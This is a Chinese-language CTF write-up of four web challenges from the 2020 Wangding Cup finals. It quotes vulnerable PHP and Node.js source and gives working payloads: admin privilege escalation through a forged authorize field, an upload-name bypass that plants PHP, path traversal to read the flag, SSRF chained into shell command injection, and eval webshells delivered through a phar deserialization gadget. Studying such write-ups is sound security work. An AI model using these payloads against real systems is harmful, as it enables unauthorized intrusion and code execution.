网鼎杯2020线下web
[网鼎杯 2020 半决赛]faka
给了sql文件,本地导入一下可以看到admin的md5密码
解密得到密码:
admincccbbb123
这里还有一种方法:
/admin/Index/info处未授权访问
可以直接添加后台用户,但是不是超级管理员,数据库中注意到admin的authorize为3,那么直接在post中添加&authorize=3即可添加超级管理员
后台登陆后找文件上传点
抓个包
它会根据随机传入的md5和文件名生成一个token
public function upstate()
{
$post = $this->request->post();
$filename = join('/', str_split($post['md5'], 16)) . '.' . pathinfo($post['filename'], 4);
// 检查文件是否已上传
if (($site_url = FileService::getFileUrl($filename))) {
$this->result(['site_url' => $site_url], 'IS_FOUND');
}
// 需要上传文件,生成上传配置参数
$config = ['uptype' => $post['uptype'], 'file_url' => $filename];
switch (strtolower($post['uptype'])) {
case 'qiniu':
$config['server'] = FileService::getUploadQiniuUrl(true);
$config['token'] = $this->_getQiniuToken($filename);
break;
case 'local':
$config['server'] = FileService::getUploadLocalUrl();
$config['token'] = md5($filename . session_id());
break;
...
。
}
$this->result($config, 'NOT_FOUND');
}
token为
md5($filename . session_id())
继续发包,来到文件上传逻辑处
代码
public function upload()
{
$file = $this->request->file('file');
$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$md5 = str_split($this->request->post('md5'), 16);
$filename = join('/', $md5) . ".{$ext}";
if (strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts'))))) {
return json(['code' => 'ERROR', 'msg' => '文件上传类型受限']);
}
// 文件上传Token验证
if ($this->request->post('token') !== md5($filename . session_id())) {
return json(['code' => 'ERROR', 'msg' => '文件上传验证失败']);
}
// 文件上传处理
if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) {
if (($site_url = FileService::getFileUrl($filename, 'local'))) {
return json(['data' => ['site_url' => $site_url], 'code' => 'SUCCESS', 'msg' => '文件上传成功']);
}
}
return json(['code' => 'ERROR', 'msg' => '文件上传失败']);
}
其中会验证post的token是否和md5($filename . session_id())相等
filename可控
$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$md5 = str_split($this->request->post('md5'), 16);
$filename = join('/', $md5) . ".{$ext}";
所以这个if能绕,跟到$file->move函数
public function move($path, $savename = true, $replace = true)
{
...
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
...
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);
return $file;
}
$this->buildSaveName获取文件名
protected function buildSaveName($savename)
{
// 自动生成文件名
...
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}
return $savename;
}
这个if表示如果name中有点则直接返回,参数$savename是md5[1],也就是说如果md5[1]=xxx.php,那么文件名就为xxx.php
所以,$md5可控,$filename可控,token也可控
step1
step2
或者拿到权限之后直接任意文件下载
/manage/Backup/downloadBak?file=../../../../../../flag.txt
function downloadBak() {
$file_name = $_GET['file'];
$file_dir = $this->config['path'];
if (!file_exists($file_dir . "/" . $file_name)) { //检查文件是否存在
return false;
exit;
} else {
$file = fopen($file_dir . "/" . $file_name, "r"); // 打开文件
// 输入文件标签
header('Content-Encoding: none');
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: " . filesize($file_dir . "/" . $file_name));
header('Content-Transfer-Encoding: binary');
header("Content-Disposition: attachment; filename=" . $file_name); //以真实文件名提供给浏览器下载
header('Pragma: no-cache');
header('Expires: 0');
//输出文件内容
echo fread($file, filesize($file_dir . "/" . $file_name));
fclose($file);
exit;
}
}
[网鼎杯 2020 半决赛]BabyJS
主要代码
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
通过post /debug去ssrf get /debug
get的debug有过滤
var u=req.query.url.replace(/[\"\']/ig,'');
绕黑名单方法很多,参考:
https://www.secpulse.com/archives/65832.html
payload1,单引号二次编码一下绕
{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}
payload2
{"url":"http://0177.0.0.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%2500"}
这串解出来正好是一个单引号
%EF%BC%87
造成命令注入
[网鼎杯 2020 总决赛]Novel
大概看一下代码,upload文件上传,back会备份文件,并且这题还实现了一个类似tp的路由,即:
/类/方法/
上传一个txt
${eval($_GET[0])}
备份生成php
[网鼎杯 2020 总决赛]Game Exp
没用的代码很多,主要还是在register.php
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
include_once "../user.php";
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$mysql = new sqlhelper();
$password = md5($password);
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
$filename = $username.".".$extension;
if (file_exists($filename))
{
echo "<script>alert('文件已经存在');</script>";
}
这个eval太明显了
再加上文件上传处有file_exists判断,并且参数可控
$filename = $username.".".$extension;
phar反序列化
<?php
class AnyClass{
var $output = 'eval($_REQUEST[0]);';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new AnyClass();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar.phar','1.jpg');
?>
上传后再次注册,用户名为phar://./x.jpg/test